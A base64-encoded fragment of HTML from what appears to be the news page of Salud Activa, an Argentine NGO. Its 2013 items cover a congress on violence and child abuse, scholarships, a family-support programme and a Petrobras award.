saWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzIzMDQyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjIvMTEvMjAxMzwvc3Bhbj48YnI+SVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c288L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxzdHJvbmc+MTQsIDE1IHkgMTYgZGUgTm92aWVtYnJlIEFCSUVSVEEgTEEgSU5TQ1JJUENJJk9hY3V0ZTtOISAoY29uIGRlc2N1ZW50byBoYXN0YSBlbCAyNy84KTxiciAvPjwvc3Ryb25nPjwvcD4NCjxwPjxzdHJvbmc+QUJJRVJUQSBMQSBSRUNFUENJJk9hY3V0ZTtOIERFIFRSQUJBSk88YSBocmVmPSJodHRwOi8vd3d3LmNvbmdyZXNvdmlvbGVuY2lhLmNvbS9pbmRleC5waHA/aWQ9bW9kYWxpZGFkZXMiIHRhcmdldD0iX2JsYW5rIj4gKG1hcyBpbmZvKTwvYT48L3N0cm9uZz48L3A+DQo8cD48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjY2MDA7Ij48c3Ryb25nPk9yZ2FuaXphOiBTYWx1ZCBBY3RpdmE8L3N0cm9uZz48L3NwYW4+PC9wPg0KPHA+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmY2NjAwOyI+SW5jcmlwdG9zIGFsIFBvcnRhbCBkZSBTYWx1ZCBBY3RpdmEsIGltcG9ydGFudGVzIGRlc2N1ZW50b3MhPGJyIC8+PC9zcGFuPjwvcD4NCjxwPkx1Z2FyIGRlIFJlYWxpemFjaSZvYWN1dGU7biB5IGNvbGFib3JhY2lvbjogVW5pdmVyc2lkYWQgZGVsIEVzdGUsIExhIFBsYXRhIEJ1ZW5vcyBBaXJlczwvcD4NCjxwPk1hcyBkZSAxNTAgdHJhYmFqb3MgcHJlc2VudGFkb3MsIHVsdGltb3MgZGlhcyBwYXJhIGluc2NyaWJpcnNlIGNvbiBkZXNjdWVudG8hITwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPkluc2NyaWJpcnNlPC9hPjwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPjxiciAvPjwvYT48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAxIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDEiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MDQvMTEvMjAxMzwvc3Bhbj48YnI+RWwgY29sZWdpbyBkZSBQc2lj82xvZ29zIGRlIEPzcmRvYmEgc2UgcHJvbnVuY2lhIGVuIHJlbGFjafNuIGFsIFNBUCB5IGVuIGNvbmNvcmRhbmNpYSBjb24gbG8gZXhwcmVzYWRvIHBvciBlbCBDb2xlZ2lvIGRlIFBzaWPzbG9nb3MgZGUgTWFyIGRlbCBQbGF0YSB5IGVsIENvbGVnaW8gZGUgUHNpY/Nsb2dvcyBkZSBsYSAgUHJvdmluY2lhIGRlIEJ1ZW5vcyBBaXJlczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+Jm5ic3A7PC9wPg0KPHA+TGFzIGNvbnRyb3ZlcnNpYXMgZ2VuZXJhZGFzIGVuIHJlbGFjaSZvYWN1dGU7biBhbCAic2luZHJvbWUgZGUgYWxpZW5hY2kmb2FjdXRlO24gcGFyZW50YSIgU0FQLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMxMCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzEwIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzE2MTAyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTYvMTAvMjAxMzwvc3Bhbj48YnI+U2FsdWQgQWN0aXZhIG90b3JnYSBtZWRpYXMgYmVjYXMgcGFyYSBlbCBJViBDb25ncmVzbyBJbnRlcm5hY2lvbmFsLCBWIE5hY2lvbmFsLCBWSSBSZWdpb25hbCBWaW9sZW5jaWEsIE1hbHRyYXRvIHkgQWJ1c28uPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD4mbmJzcDs8L3A+DQo8cD5TZXImYWFjdXRlO24gb3RvcmdhZGFzIDUwIG1lZGlhcyBiZWNhcywgcXVlZGFuIHBvY2FzISEhIGNvbmRpY2lvbjo8L3A+DQo8cD5QZXJ0ZW5lY2VyIGFsIGFtYml0byBwdWJsaWNvIG8gYSBPTkcsIHNlIGNvbnNpZGVyYSB0YW1iaWVuIGxhIGRpc3RhbmNpYSBhbCBsdWdhciBkZWwgZXZlbnRvISEhIGVzIG11eSBzZW5jaWxsbywgc29sbyBkZWJlcyBlbnZpYXIgdW4gZW1haWwuLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA5Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjI0LzA3LzIwMTM8L3NwYW4+PGJyPk5FQ0VTSVRBTU9TIERFIFNVIFNPTElEQVJJREFEIEhBQ0lBIExPUyBOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPS